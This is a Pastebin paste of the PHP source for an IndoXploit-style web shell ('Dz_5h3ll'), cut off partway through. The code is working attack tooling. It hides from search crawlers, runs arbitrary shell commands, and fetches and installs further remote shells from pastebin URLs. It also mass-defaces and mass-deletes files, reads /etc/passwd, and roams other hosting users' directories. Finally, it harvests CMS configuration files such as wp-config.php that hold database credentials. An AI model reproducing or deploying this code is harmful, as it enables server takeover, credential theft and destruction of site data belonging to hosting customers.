Gse7en-X

Untitled

May 3rd, 2018
1,596
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 97.45 KB | None | 0 0
  1. <?php
  2. session_start();
  3. @error_reporting(0);
  4. @set_time_limit(0);
  5.  
  6. if(version_compare(PHP_VERSION, '5.3.0', '<')) {
  7. @set_magic_quotes_runtime(0);
  8. }
  9.  
  10. @clearstatcache();
  11. @ini_set('error_log',NULL);
  12. @ini_set('log_errors',0);
  13. @ini_set('max_execution_time',0);
  14. @ini_set('output_buffering',0);
  15. @ini_set('display_errors', 0);
  16.  
  17. $password = "24b4e60429d397626b43643529b05ee8";
  18.  
  19. $SERVERIP = (!$_SERVER['SERVER_ADDR']) ? gethostbyname($_SERVER['HTTP_HOST']) : $_SERVER['SERVER_ADDR'];
  20. $FILEPATH = str_replace($_SERVER['DOCUMENT_ROOT'], "", path());
  21.  
  22. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  23. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot", "curl");
  24. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  25. header('HTTP/1.0 404 Not Found');
  26. exit;
  27. }
  28. }
  29.  
  30. function login_shell() {
  31. ?>
  32. <!DOCTYPE HTML>
  33. <html>
  34. <head>
  35. <title>Dz_5h3ll</title>
  36. <style type="text/css">
  37. html {
  38. margin: 20px auto;
  39. background: #000000;
  40. color: #19f211;
  41. text-align: center;
  42. }
  43. header {
  44. color: #19f211;
  45. margin: 10px auto;
  46. }
  47. input[type=password] {
  48. width: 150px;
  49. height: 20px;
  50. color: #19f211;
  51. background: transparent;
  52. border: 1px dotted #19f211;
  53. margin-left: 20px;
  54. text-align: center;
  55. }
  56. </style>
  57. </head>
  58. <center>
  59. <header>
  60. <font color="#19f211" style="text-shadow: 3px 3px 8px #19f211; font-size: 15px;">
  61. <pre>
  62. <br>
  63. <br>
  64. .:/+ossso+/:.
  65. :ohddyso+++osyddho-
  66. `/hdy+- `` `-+hdy:
  67. -hdy- -ohdddy+. :ydy.
  68. :dd+ /dd+..-+dd- `odh-
  69. .dd/ hdo sds odh`
  70. ody :/. -/: `hd+
  71. ydo -yhhhhhhhhhhhy. yds
  72. yds +ddddh:`.hdddd: ydo
  73. /dd. +ddddy `hdddd: -dd:
  74. ydy` +ddddd+ oddddd: .hds
  75. `ydy- -yhhhhhhhhhhhy. :hds`
  76. /hds- :ydh/
  77. `+hdho:.` `-/ohdy/`
  78. -+shddhhhhdddhs/.
  79. `.-:::-.`
  80. </font>
  81. </header>
  82. <form method="post">
  83. <input type="password" name="password">
  84. </form>
  85. <?php
  86. exit;
  87. }
  88.  
  89. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  90. if(empty($password) || (isset($_POST['password']) && (md5($_POST['password']) == $password)))
  91. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  92. else
  93. login_shell();
  94.  
  95. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  96. @ob_clean();
  97. $file = $_GET['file'];
  98. header('Content-Description: File Transfer');
  99. header('Content-Type: application/octet-stream');
  100. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  101. header('Expires: 0');
  102. header('Cache-Control: must-revalidate');
  103. header('Pragma: public');
  104. header('Content-Length: ' . filesize($file));
  105. readfile($file);
  106. exit;
  107. }
  108.  
  109. if(get_magic_quotes_gpc()) {
  110. function idx_ss($array) {
  111. return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  112. }
  113. $_POST = idx_ss($_POST);
  114. }
  115. ?>
  116. <!DOCTYPE HTML>
  117. <html>
  118. <!--
  119. ###############################################################################
  120. // Thanks buat Orang-orang yg membantu dalam proses pembuatan shell ini.
  121. // Shell ini tidak sepenuhnya 100% Coding manual, ada beberapa function dan tools kita ambil dari shell yang sudah ada.
  122. // Tapi Selebihnya, itu hasil kreasi IndoXploit sendiri.
  123. // Tanpa kalian kita tidak akan BESAR seperti sekarang.
  124. // Greetz: All Member IndoXploit. & All My Friends.
  125. ###############################################################################
  126. // Special Thanks: Depok Cyber Security | Sanjungan Jiwa | 0x1999
  127. ###############################################################################
  128. -->
  129. <head>
  130. <title>Dz_5h3ll</title>
  131. <meta name='author' content='IndoXploit'>
  132. <meta charset="UTF-8">
  133. <style type='text/css'>
  134. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  135. html {
  136. background: #000000;
  137. color: #ffffff;
  138. font-size: 14px;
  139. width: 100%;
  140. }
  141.  
  142. li {
  143. display: inline;
  144. margin: 5px;
  145. padding: 5px;
  146. }
  147.  
  148. a {
  149. color: #ffffff;
  150. text-decoration: none;
  151. }
  152.  
  153. a:hover {
  154. color: gold;
  155. text-decoration: underline;
  156. }
  157.  
  158. b {
  159. color: gold;
  160. }
  161.  
  162. pre {
  163. font-size: 13px;
  164. }
  165.  
  166. table, th, td {
  167. border-collapse:collapse;
  168. background: transparent;
  169. font-family: 'Ubuntu';
  170. font-size: 13px;
  171. }
  172.  
  173. .table_home, .th_home, .td_home {
  174. border: 1px solid #ffffff;
  175. }
  176.  
  177. .th_home {
  178. color: lime;
  179. }
  180.  
  181. .td_home, .td_home > a {
  182. color: #ffffff;
  183. }
  184.  
  185. .td_home > a:hover {
  186. color: gold;
  187. }
  188.  
  189. th {
  190. padding: 10px;
  191. }
  192.  
  193. tr:hover {
  194. background: #006400;
  195. color: #ffffff;
  196. }
  197.  
  198. input[type=text], input[type=password], .input {
  199. background: transparent;
  200. color: #ffffff;
  201. border: 1px solid #ffffff;
  202. padding: 3px;
  203. font-family: 'Ubuntu';
  204. font-size: 13px;
  205. }
  206.  
  207. input[type=submit] {
  208. padding: 2px;}
  209.  
  210. input[type=submit]:hover {
  211. cursor: pointer;
  212. }
  213.  
  214. input:focus, textarea:focus {
  215. outline: 0;
  216. border-color: #ffffff;
  217. }
  218.  
  219. textarea {
  220. border: 1px solid #ffffff;
  221. width: 100%;
  222. height: 400px;
  223. padding-left: 5px;
  224. margin: 10px auto;
  225. resize: none;
  226. background: transparent;
  227. color: #ffffff;
  228. font-family: 'Ubuntu';
  229. font-size: 13px;
  230. }
  231. iframe {
  232. width: 100%;
  233. min-height: 500px;
  234. }
  235. </style>
  236. </head>
  237. <body>
  238. <?php
  239. function path() {
  240. if(isset($_GET['dir'])) {
  241. $dir = str_replace("\\", "/", $_GET['dir']);
  242. @chdir($dir);
  243. } else {
  244. $dir = str_replace("\\", "/", getcwd());
  245. }
  246. return $dir;
  247. }
  248.  
  249. function color($bold = 1, $colorid = null, $string = null) {
  250. $color = array(
  251. "</font>", # 0 off
  252. "<font color='red'>", # 1 red
  253. "<font color='lime'>", # 2 lime
  254. "<font color='white'>", # 3 white
  255. "<font color='gold'>", # 4 gold
  256. );
  257.  
  258. return ($string !== null) ? $color[$colorid].$string.$color[0]: $color[$colorid];
  259. }
  260.  
  261. function OS() {
  262. return (substr(strtoupper(PHP_OS), 0, 3) === "WIN") ? "Windows" : "Linux";
  263. }
  264.  
  265. function exe($cmd) {
  266. if(function_exists('system')) {
  267. @ob_start();
  268. @system($cmd);
  269. $buff = @ob_get_contents();
  270. @ob_end_clean();
  271. return $buff;
  272. } elseif(function_exists('exec')) {
  273. @exec($cmd,$results);
  274. $buff = "";
  275. foreach($results as $result) {
  276. $buff .= $result;
  277. } return $buff;
  278. } elseif(function_exists('passthru')) {
  279. @ob_start();
  280. @passthru($cmd);
  281. $buff = @ob_get_contents();
  282. @ob_end_clean();
  283. return $buff;
  284. } elseif(function_exists('shell_exec')) {
  285. $buff = @shell_exec($cmd);
  286. return $buff;
  287. }
  288. }
  289.  
  290. function save($filename, $mode, $file) {
  291. $handle = fopen($filename, $mode);
  292. fwrite($handle, $file);
  293. fclose($handle);
  294. return;
  295. }
  296.  
  297. function getfile($name) {
  298. if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't spawn $name."));
  299. if($name === "adminer") $get = array("https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php", "adminer.php");
  300. elseif($name === "webconsole") $get = array("https://pastebin.com/raw/2i96fDCN", "webconsole.php");
  301. elseif($name === "cgitelnet1") $get = array("https://pastebin.com/raw/Lj46KxFT", "idx_cgi/cgitelnet1.idx");
  302. elseif($name === "cgitelnet2") $get = array("https://pastebin.com/raw/aKL2QWfS", "idx_cgi/cgitelnet2.idx");
  303. elseif($name === "LRE") $get = array("https://pastebin.com/raw/PVPfA21i", "makman.php");
  304.  
  305. $fp = fopen($get[1], "w");
  306. $ch = curl_init();
  307. curl_setopt($ch, CURLOPT_URL, $get[0]);
  308. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  309. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  310. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  311. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  312. curl_setopt($ch, CURLOPT_FILE, $fp);
  313. return curl_exec($ch);
  314. curl_close($ch);
  315. fclose($fp);
  316. ob_flush();
  317. flush();
  318. }
  319.  
  320. function usergroup() {
  321. if(!function_exists('posix_getegid')) {
  322. $user['name'] = @get_current_user();
  323. $user['uid'] = @getmyuid();
  324. $user['gid'] = @getmygid();
  325. $user['group'] = "?";
  326. } else {
  327. $user['uid'] = @posix_getpwuid(posix_geteuid());
  328. $user['gid'] = @posix_getgrgid(posix_getegid());
  329. $user['name'] = $user['uid']['name'];
  330. $user['uid'] = $user['uid']['uid'];
  331. $user['group'] = $user['gid']['name'];
  332. $user['gid'] = $user['gid']['gid'];
  333. }
  334. return (object) $user;
  335. }
  336.  
  337. function getuser() {
  338. $fopen = fopen("/etc/passwd", "r") or die(color(1, 1, "Can't read /etc/passwd"));
  339. while($read = fgets($fopen)) {
  340. preg_match_all('/(.*?):x:/', $read, $getuser);
  341. $user[] = $getuser[1][0];
  342. }
  343. return $user;
  344. }
  345.  
  346. function getdomainname() {
  347. $fopen = fopen("/etc/named.conf", "r");
  348. while($read = fgets($fopen)) {
  349. preg_match_all("#/var/named/(.*?).db#", $read, $getdomain);
  350. $domain[] = $getdomain[1][0];
  351. }
  352. return $domain;
  353. }
  354.  
  355. function hddsize($size) {
  356. if($size >= 1073741824)
  357. return sprintf('%1.2f',$size / 1073741824 ).' GB';
  358. elseif($size >= 1048576)
  359. return sprintf('%1.2f',$size / 1048576 ) .' MB';
  360. elseif($size >= 1024)
  361. return sprintf('%1.2f',$size / 1024 ) .' KB';
  362. else
  363. return $size .' B';
  364. }
  365.  
  366. function hdd() {
  367. $hdd['size'] = hddsize(disk_total_space("/"));
  368. $hdd['free'] = hddsize(disk_free_space("/"));
  369. $hdd['used'] = $hdd['size'] - $hdd['free'];
  370. return (object) $hdd;
  371. }
  372.  
  373. function writeable($path, $perms) {
  374. return (!is_writable($path)) ? color(1, 1, $perms) : color(1, 2, $perms);
  375. }
  376.  
  377. function perms($path) {
  378. $perms = fileperms($path);
  379. if (($perms & 0xC000) == 0xC000) {
  380. // Socket
  381. $info = 's';
  382. }
  383. elseif (($perms & 0xA000) == 0xA000) {
  384. // Symbolic Link
  385. $info = 'l';
  386. }
  387. elseif (($perms & 0x8000) == 0x8000) {
  388. // Regular
  389. $info = '-';
  390. }
  391. elseif (($perms & 0x6000) == 0x6000) {
  392. // Block special
  393. $info = 'b';
  394. }
  395. elseif (($perms & 0x4000) == 0x4000) {
  396. // Directory
  397. $info = 'd';
  398. }
  399. elseif (($perms & 0x2000) == 0x2000) {
  400. // Character special
  401. $info = 'c';
  402. }
  403. elseif (($perms & 0x1000) == 0x1000) {
  404. // FIFO pipe
  405. $info = 'p';
  406. }
  407. else {
  408. // Unknown
  409. $info = 'u';
  410. }
  411. // Owner
  412. $info .= (($perms & 0x0100) ? 'r' : '-');
  413. $info .= (($perms & 0x0080) ? 'w' : '-');
  414. $info .= (($perms & 0x0040) ?
  415. (($perms & 0x0800) ? 's' : 'x' ) :
  416. (($perms & 0x0800) ? 'S' : '-'));
  417. // Group
  418. $info .= (($perms & 0x0020) ? 'r' : '-');
  419. $info .= (($perms & 0x0010) ? 'w' : '-');
  420. $info .= (($perms & 0x0008) ?
  421. (($perms & 0x0400) ? 's' : 'x' ) :
  422. (($perms & 0x0400) ? 'S' : '-'));
  423. // World
  424. $info .= (($perms & 0x0004) ? 'r' : '-');
  425. $info .= (($perms & 0x0002) ? 'w' : '-');
  426. $info .= (($perms & 0x0001) ?
  427. (($perms & 0x0200) ? 't' : 'x' ) :
  428. (($perms & 0x0200) ? 'T' : '-'));
  429.  
  430. return $info;
  431. }
  432.  
  433. function lib_installed() {
  434. $lib[] = "MySQL: ".(function_exists('mysql_connect') ? color(1, 2, "ON") : color(1, 1, "OFF"));
  435. $lib[] = "cURL: ".(function_exists('curl_version') ? color(1, 2, "ON") : color(1, 1, "OFF"));
  436. $lib[] = "WGET: ".(exe('wget --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
  437. $lib[] = "Perl: ".(exe('perl --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
  438. $lib[] = "Python: ".(exe('python --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
  439. return implode(" | ", $lib);
  440. }
  441.  
  442. function pwd() {
  443. $dir = explode("/", path());
  444. foreach($dir as $key => $index) {
  445. print "<a href='?dir=";
  446. for($i = 0; $i <= $key; $i++) {
  447. print $dir[$i];
  448. if($i != $key) {
  449. print "/";
  450. }
  451. }
  452. print "'>$index</a>/";
  453. }
  454. print "<br>";
  455. print (OS() === "Windows") ? windisk() : "";
  456. }
  457.  
  458. function windisk() {
  459. $letters = "";
  460. $v = explode("\\", path());
  461. $v = $v[0];
  462. foreach(range("A", "Z") as $letter) {
  463. $bool = $isdiskette = in_array($letter, array("A"));
  464. if(!$bool) $bool = is_dir("$letter:\\");
  465. if($bool) {
  466. $letters .= "[ <a href='?dir=$letter:\\'".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">";
  467. if($letter.":" != $v) {
  468. $letters .= $letter;
  469. }
  470. else {
  471. $letters .= color(1, 2, $letter);
  472. }
  473. $letters .= "</a> ]";
  474. }
  475. }
  476. if(!empty($letters)) {
  477. print "Detected Drives $letters<br>";
  478. }
  479. if(count($quicklaunch) > 0) {
  480. foreach($quicklaunch as $item) {
  481. $v = realpath(path(). "..");
  482. if(empty($v)) {
  483. $a = explode(DIRECTORY_SEPARATOR,path());
  484. unset($a[count($a)-2]);
  485. $v = join(DIRECTORY_SEPARATOR, $a);
  486. }
  487. print "<a href='".$item[1]."'>".$item[0]."</a>";
  488. }
  489. }
  490. }
  491.  
  492. function serverinfo() {
  493. $disable_functions = @ini_get('disable_functions');
  494. $disable_functions = (!empty($disable_functions)) ? color(1, 1, $disable_functions) : color(1, 2, "NONE");
  495.  
  496. $output[] = "SERVER IP ".color(1, 2, $GLOBALS['SERVERIP'])." / YOUR IP ".color(1, 2, $_SERVER['REMOTE_ADDR']);
  497. $output[] = "WEB SERVER : ".color(1, 2, $_SERVER['SERVER_SOFTWARE']);
  498. $output[] = "SYSTEM : ".color(1, 2, php_uname());
  499. $output[] = "USER / GROUP: ".color(1, 2, usergroup()->name)."(".color(1, 2 , usergroup()->uid).") / ".color(1, 2 , usergroup()->group)."(".color(1, 2 , usergroup()->gid).")";
  500. $output[] = "HDD : ".color(1, 2, hdd()->used)." / ".color(1, 2 , hdd()->size)." (Free: ".color(1, 2 , hdd()->free).")";
  501. $output[] = "PHP VERSION : ".color(1, 2, @phpversion());
  502. $output[] = "SAFE MODE : ".(@ini_get(strtoupper("safe_mode")) === "ON" ? color(1, 2, "ON") : color(1, 2, "OFF"));
  503. $output[] = "DISABLE FUNC: $disable_functions";
  504. $output[] = lib_installed();
  505. $output[] = "Current Dir (".writeable(path(), perms(path())).") ";
  506.  
  507. print "<pre>";
  508. print implode("<br>", $output);
  509. pwd();
  510. print "</pre>";
  511.  
  512. }
  513.  
  514. function curl($url, $post = false, $data = null) {
  515. $ch = curl_init($url);
  516. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  517. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  518. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  519. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  520. curl_setopt($ch, CURLOPT_TIMEOUT, 10);
  521. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
  522. if($post) {
  523. curl_setopt($ch, CURLOPT_POST, true);
  524. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  525. }
  526. return curl_exec($ch);
  527. curl_close($ch);
  528. }
  529.  
  530. function reverse() {
  531. $response = curl("http://domains.yougetsignal.com/domains.php", TRUE, "remoteAddress=".$GLOBALS['SERVERIP']."&ket=");
  532. $response = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $response)))))))))))));
  533. $explode = explode(",,", $response);
  534. unset($explode[0]);
  535.  
  536. foreach($explode as $domain) {
  537. $domain = "http://$domain";
  538. $domain = str_replace(",", "", $domain);
  539. $url[] = $domain;
  540. ob_flush();
  541. flush();
  542. }
  543.  
  544. return $url;
  545. }
  546.  
  547. function getValue($param, $kata1, $kata2){
  548. if(strpos($param, $kata1) === FALSE) return FALSE;
  549. if(strpos($param, $kata2) === FALSE) return FALSE;
  550. $start = strpos($param, $kata1) + strlen($kata1);
  551. $end = strpos($param, $kata2, $start);
  552. $return = substr($param, $start, $end - $start);
  553. return $return;
  554. }
  555.  
  556. function massdeface($dir, $file, $filename, $type = null) {
  557. $scandir = scandir($dir);
  558. foreach($scandir as $dir_) {
  559. $path = "$dir/$dir_";
  560. $location = "$path/$filename";
  561. if($dir_ === "." || $dir_ === "..") {
  562. file_put_contents($location, $file);
  563. }
  564. else {
  565. if(is_dir($path) AND is_writable($path)) {
  566. print "[".color(1, 2, "DONE")."] ".color(1, 4, $location)."<br>";
  567. file_put_contents($location, $file);
  568. if($type === "-alldir") {
  569. massdeface($path, $file, $filename, "-alldir");
  570. }
  571. }
  572. }
  573. }
  574. }
  575.  
  576. function massdelete($dir, $filename) {
  577. $scandir = scandir($dir);
  578. foreach($scandir as $dir_) {
  579. $path = "$dir/$dir_";
  580. $location = "$path/$filename";
  581. if($dir_ === '.') {
  582. if(file_exists("$dir/$filename")) {
  583. unlink("$dir/$filename");
  584. }
  585. }
  586. elseif($dir_ === '..') {
  587. if(file_exists(dirname($dir)."/$filename")) {
  588. unlink(dirname($dir)."/$filename");
  589. }
  590. }
  591. else {
  592. if(is_dir($path) AND is_writable($path)) {
  593. if(file_exists($location)) {
  594. print "[".color(1, 2, "DELETED")."] ".color(1, 4, $location)."<br>";
  595. unlink($location);
  596. massdelete($path, $filename);
  597. }
  598. }
  599. }
  600. }
  601. }
  602.  
  603. function tools($toolsname, $args = null) {
  604. if($toolsname === "cmd") {
  605. print "<form method='post' action='?do=cmd&dir=".path()."' style='margin-top: 15px;'>
  606. ".usergroup()->name."@".$GLOBALS['SERVERIP'].": ~ $
  607. <input style='border: none; border-bottom: 1px solid #ffffff;' type='text' name='cmd' required>
  608. <input style='border: none; border-bottom: 1px solid #ffffff;' class='input' type='submit' value='>>'>
  609. </form>";
  610. }
  611. elseif($toolsname === "readfile") {
  612. if(empty($args)) die(color(1, 1, $msg));
  613. if(!is_file($args)) die(color(1, 1, "File '$args' is not exists."));
  614.  
  615. print "<pre>";
  616. print htmlspecialchars(file_get_contents($args));
  617. print "</pre>";
  618. }
  619. elseif($toolsname === "spawn") {
  620. if($args === "adminer") {
  621. if(file_exists("adminer.php")) {
  622. print "Login Adminer: <a href='".$GLOBALS['FILEPATH']."/adminer.php' target='_blank'>http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/adminer.php</a>";
  623. }
  624. else {
  625. if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'Adminer'."));
  626. if(getfile("adminer")) {
  627. print "Login Adminer: <a href='".$GLOBALS['FILEPATH']."/adminer.php' target='_blank'>http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/adminer.php</a>";
  628. }
  629. else {
  630. print color(1, 1, "Error while downloading file Adminer.");
  631. @unlink("adminer.php");
  632. }
  633. }
  634. }
  635. elseif($args === "webconsole") {
  636. if(file_exists("webconsole.php")) {
  637. print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/webconsole.php' frameborder='0' scrolling='yes'></iframe>";
  638. }
  639. else {
  640. if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'WebConsole'."));
  641. if(getfile("webconsole")) {
  642. print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/webconsole.php' frameborder='0' scrolling='yes'></iframe>";
  643. }
  644. else {
  645. print color(1, 1, "Error while downloading file WebConsole.");
  646. @unlink("webconsole.php");
  647. }
  648. }
  649. }
  650. elseif($args === "cgitelnet1") {
  651. if(file_exists("idx_cgi/cgitelnet1.idx")) {
  652. print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
  653. }
  654. elseif(file_exists('cgitelnet1.idx')) {
  655. print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
  656. }
  657. else {
  658. if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_cgi'."));
  659. if(!is_dir(path()."/idx_cgi/")) {
  660. @mkdir('idx_cgi', 0755);
  661. save("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx");
  662. }
  663. if(getfile("cgitelnet1")) {
  664. chmod('idx_cgi/cgitelnet1.idx', 0755);
  665. print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
  666. }
  667. else {
  668. print color(1, 1, "Error while downloading file CGI Telnet.");
  669. @rmdir(path()."/idx_cgi/");
  670. if(!@rmdir(path()."/idx_cgi/") AND OS() === "Linux") @exe("rm -rf ".path()."/idx_cgi/");
  671. if(!@rmdir(path()."/idx_cgi/") AND OS() === "Windows") @exe("rmdir /s /q ".path()."/idx_cgi/");
  672. }
  673. }
  674.  
  675. }
  676. elseif($args === "cgitelnet2") {
  677. if(file_exists("idx_cgi/cgitelnet2.idx")) {
  678. print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet2.idx' frameborder='0' scrolling='yes'></iframe>";
  679. }
  680. elseif(file_exists('cgitelnet2.idx')) {
  681. print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/cgitelnet2.idx' frameborder='0' scrolling='no'></iframe>";
  682. }
  683. else {
  684. if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_cgi'."));
  685. if(!is_dir(path()."/idx_cgi/")) {
  686. @mkdir('idx_cgi', 0755);
  687. save("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx");
  688. }
  689. if(getfile("cgitelnet2")) {
  690. chmod('idx_cgi/cgitelnet2.idx', 0755);
  691. print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_cgi/cgitelnet2.idx' frameborder='0' scrolling='yes'></iframe>";
  692. }
  693. else {
  694. print color(1, 1, "Error while downloading file CGI Telnet.");
  695. @rmdir(path()."/idx_cgi/");
  696. if(!@rmdir(path()."/idx_cgi/") AND OS() === "Linux") @exe("rm -rf ".path()."/idx_cgi/");
  697. if(!@rmdir(path()."/idx_cgi/") AND OS() === "Windows") @exe("rmdir /s /q ".path()."/idx_cgi/");
  698. }
  699. }
  700.  
  701. }
  702. elseif($args === "phpinfo") {
  703. if(file_exists('phpinfo.php') AND preg_match("/phpinfo()/", file_get_contents('phpinfo.php'))) {
  704. print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/phpinfo.php' frameborder='0' scrolling='yes'></iframe>";
  705. }
  706. else {
  707. if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'phpinfo'."));
  708. save("phpinfo.php", "w", "<?php print '<html><style>html,body {background: #000000;}</style><div style=\'background: #000000; color: #cccccc;\'>'; phpinfo(); print '</div></html>'; ?>");
  709. print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/phpinfo.php' frameborder='0' scrolling='yes'></iframe>";
  710. }
  711. }
  712. }
  713. elseif($toolsname === "upload") {
  714. if($_POST['upload']) {
  715. if($_POST['uploadtype'] === '1') {
  716. if(@copy($_FILES['file']['tmp_name'], path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."")) {
  717. $act = color(1, 2, "Uploaded!")." at <i><b>".path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."</b></i>";
  718. }
  719. else {
  720. $act = color(1, 1, "Failed to upload file!");
  721. }
  722. }
  723. elseif($_POST['uploadtype'] === '2') {
  724. $root = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR.$_FILES['file']['name'];
  725. $web = $_SERVER['HTTP_HOST'].DIRECTORY_SEPARATOR.$_FILES['file']['name'];
  726. if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  727. if(@copy($_FILES['file']['tmp_name'], $root)) {
  728. $act = color(1, 2, "Uploaded!")." at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  729. }
  730. else {
  731. $act = color(1, 1, "Failed to upload file!");
  732. }
  733. }
  734. else {
  735. $act = color(1, 1, "Failed to upload file!");
  736. }
  737. }
  738. }
  739. print "Upload File: $act
  740. <form method='post' enctype='multipart/form-data'>
  741. <input type='radio' name='uploadtype' value='1' checked>current_dir [ ".writeable(path(), "Writeable")." ]
  742. <input type='radio' name='uploadtype' value='2'>document_root [ ".writeable($_SERVER['DOCUMENT_ROOT'], "Writeable")." ]<br>
  743. <input type='file' name='file'>
  744. <input type='submit' value='upload' name='upload'>
  745. </form>";
  746. }
  747. elseif($toolsname === "jumping") {
  748. $i = 0;
  749. foreach(getuser() as $user) {
  750. $path = "/home/$user/public_html";
  751. if(is_readable($path)) {
  752. $status = color(1, 2, "[R]");
  753. if(is_writable($path)) {
  754. $status = color(1, 2, "[RW]");
  755. }
  756. $i++;
  757. print "$status <a href='?dir=$path'>".color(1, 4, $path)."</a>";
  758. if(!function_exists('posix_getpwuid')) print "<br>";
  759. if(!getdomainname()) print " => ".color(1, 1, "Can't get domain name")."<br>";
  760. foreach(getdomainname() as $domain) {
  761. $userdomain = (object) @posix_getpwuid(@fileowner("/etc/valiases/$domain"));
  762. $userdomain = $userdomain->name;
  763. if($userdomain === $user) {
  764. print " => <a href='http://$domain/' target='_blank'>".color(1, 2, $domain)."</a><br>";
  765. break;
  766. }
  767. }
  768. }
  769. }
  770. print ($i === 0) ? "" : "<p>".color(1, 3, "Total ada $i kamar di ".$GLOBALS['SERVERIP'])."</p>";
  771. }
  772. elseif($toolsname === "idxconfig") {
  773. if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_config'."));
  774. if(!is_dir(path()."/idx_config/")) {
  775. @mkdir('idx_config', 0755);
  776. $htaccess = "Options all\nDirectoryIndex indoxploit.htm\nSatisfy Any";
  777. save("idx_config/.htaccess","w", $htaccess);
  778.  
  779. foreach(getuser() as $user) {
  780. $user_docroot = "/home/$user/public_html/";
  781. if(is_readable($user_docroot)) {
  782. $getconfig = array(
  783. "/home/$user/.accesshash" => "WHM-accesshash",
  784. "$user_docroot/config/koneksi.php" => "Lokomedia",
  785. "$user_docroot/forum/config.php" => "phpBB",
  786. "$user_docroot/sites/default/settings.php" => "Drupal",
  787. "$user_docroot/config/settings.inc.php" => "PrestaShop",
  788. "$user_docroot/app/etc/local.xml" => "Magento",
  789. "$user_docroot/admin/config.php" => "OpenCart",
  790. "$user_docroot/application/config/database.php" => "Ellislab",
  791. "$user_docroot/vb/includes/config.php" => "Vbulletin",
  792. "$user_docroot/includes/config.php" => "Vbulletin",
  793. "$user_docroot/forum/includes/config.php" => "Vbulletin",
  794. "$user_docroot/forums/includes/config.php" => "Vbulletin",
  795. "$user_docroot/cc/includes/config.php" => "Vbulletin",
  796. "$user_docroot/inc/config.php" => "MyBB",
  797. "$user_docroot/includes/configure.php" => "OsCommerce",
  798. "$user_docroot/shop/includes/configure.php" => "OsCommerce",
  799. "$user_docroot/os/includes/configure.php" => "OsCommerce",
  800. "$user_docroot/oscom/includes/configure.php" => "OsCommerce",
  801. "$user_docroot/products/includes/configure.php" => "OsCommerce",
  802. "$user_docroot/cart/includes/configure.php" => "OsCommerce",
  803. "$user_docroot/inc/conf_global.php" => "IPB",
  804. "$user_docroot/wp-config.php" => "Wordpress",
  805. "$user_docroot/wp/test/wp-config.php" => "Wordpress",
  806. "$user_docroot/blog/wp-config.php" => "Wordpress",
  807. "$user_docroot/beta/wp-config.php" => "Wordpress",
  808. "$user_docroot/portal/wp-config.php" => "Wordpress",
  809. "$user_docroot/site/wp-config.php" => "Wordpress",
  810. "$user_docroot/wp/wp-config.php" => "Wordpress",
